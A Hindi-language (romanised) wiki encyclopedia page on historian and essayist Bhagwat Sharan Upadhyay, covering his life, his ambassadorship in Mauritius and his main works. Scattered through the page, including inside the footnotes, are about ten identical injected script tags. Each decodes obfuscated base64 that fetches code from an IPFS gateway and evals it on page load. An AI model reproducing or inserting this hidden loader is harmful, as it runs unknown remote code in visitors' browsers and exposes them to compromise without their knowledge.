भगवतशरण उपाध्याय

भारत डिस्कवरी प्रस्तुति
Revision as of 14:18, 15 March 2014 by गोविन्द राम (talk | contribs) (''''भगवतशरण उपाध्याय''' (अंग्रेज़ी: ''Bhagwat Sharan Upadhyay'' जन्म:1910,...' के साथ नया पन्ना बनाया)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhagavatasharan upadhyay (aangrezi: Bhagwat Sharan Upadhyay janm:1910, mrityu: 12 agast 1982) bharatavidh ke roop mean deshi-videshi anek mahatvapoorn sansthaoan se sakriy roop se sanbaddh rahe tatha aantarrashtriy star par bharatiy manisha ka pratinidhitv kiya. jivan ke aantim samay mean ve m aaurishas mean bharat ke rajadoot the. bhagavatasharan upadhyay ka vyaktitv ek puratatvajn, itihasavetta, sanskriti marmajn, vicharak, nibandhakar, alochak aur kathakar ke roop mean jana-mana jata hai. ve bahujn aur visheshajn donoan ek sath the. unaki alochana samajik aur aitihasik paristhitiyoan ke samanvay ki vishishtata ke karan mahatvapoorn mani jati hai. sanskriti ki samasikata ko unhoanne apane aitihasik jnan dvara vishisht arth die haian.

jivan parichay

bhagavatasharan upadhyay ka janm sanh‌ 1910 mean baliya (uttar pradesh) mean tatha nidhan sanh‌ 1982 mean m aaurishas mean hua. tin khandoan mean 'bharatiy vyaktikosh' taiyar karane ke alava unhoanne nagari pracharini sabha, kashi dvara prakashit 'hindi vishvakosh' ke char khandoan ka sanpadan bhi kiya. bhagavatasharan upadhyay ka sahity-lekhan alochana se lekar kahani, riportaz, natak, nibandh, yatravritt, bal-kishor aur praudh sahity tak vistrit hai.[1]

pramukh kritiyaan

hiandi rachanaean
  • bharatiy sanskriti ke srot
  • kalidas ka bharat (do khandoan mean)
  • guptakalin sanskriti
  • bharatiy samaj ka aitihasik vishleshan
  • kalidas aur unaka yug
  • bharatiy kala aur sanskriti ki bhoomika
  • bharatiy itihas ke alok stanbh (do khandoan mean)
  • prachin yatri (tin khandoan mean)
  • saanskritik chiantan
  • itihas sakshi hai
  • khoon ke chhiante itihas ke pannoan par
  • samiksha ke sandarbh
  • sahity aur paranpara
aangrezi rachanaean
  • iandiya in kalidas
  • vimen in rrigved
  • d eanshent varld
  • fidars aauf iandiyan kalchar.

bahuayami vyaktitv

d aau. bhagavatasharan upadhyay ka vyaktitv bahuayami hai. yadyapi unake vyaktitv aur kartavy ka mukhy kshetr itihas hai, unake lekhan ka mukhy vishay itihas hai, unake sochane ka mukhy najariya aitihasik hai, phir bhi sanskriti ke bare mean unake drishtikon aur chintan ko dekha jae, vaise hi sahity ke bare mean unake drishtikon aur chintan ko dekhana bhi kam rochak nahian hai. hindi alochana ke vikas mean athava alochana-karm mean upadhyay ji ki charcha amataur se nahian suni jati. hindi-alochana par likhi pustakoan mean unaka ullekh nahian milata aur hindi ke alochakoan ki charcha ke prasang mean lekhakagan unaka jikr nahian karate. lekin d aau. bhagavatasharan upadhyay ne sahity ke prashnoan par, khasakar apane samay ke khas prashnoan par to vichar kiya hi hai, unhoanne bajabta sahity ki kritiyoan ki vyavaharik samiksha bhi ki hai. yah to alag se dhyan dene yogy aur ullekhaniy hai ki unhoanne kalidas par jitane vistar se likha hai, utane vistar se aur kisi ne nahian likha. kalidas unake atyant priy rachanakar haian. un par d aau. upadhyay ne kee tarah se vichar kiya hai.[2]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. bhagavatasharan upadhyay (hiandi) hiandi bhavan. abhigaman tithi: 15 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. bhagavat sharan upadhyay (hiandi) pakhi. abhigaman tithi: 15 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>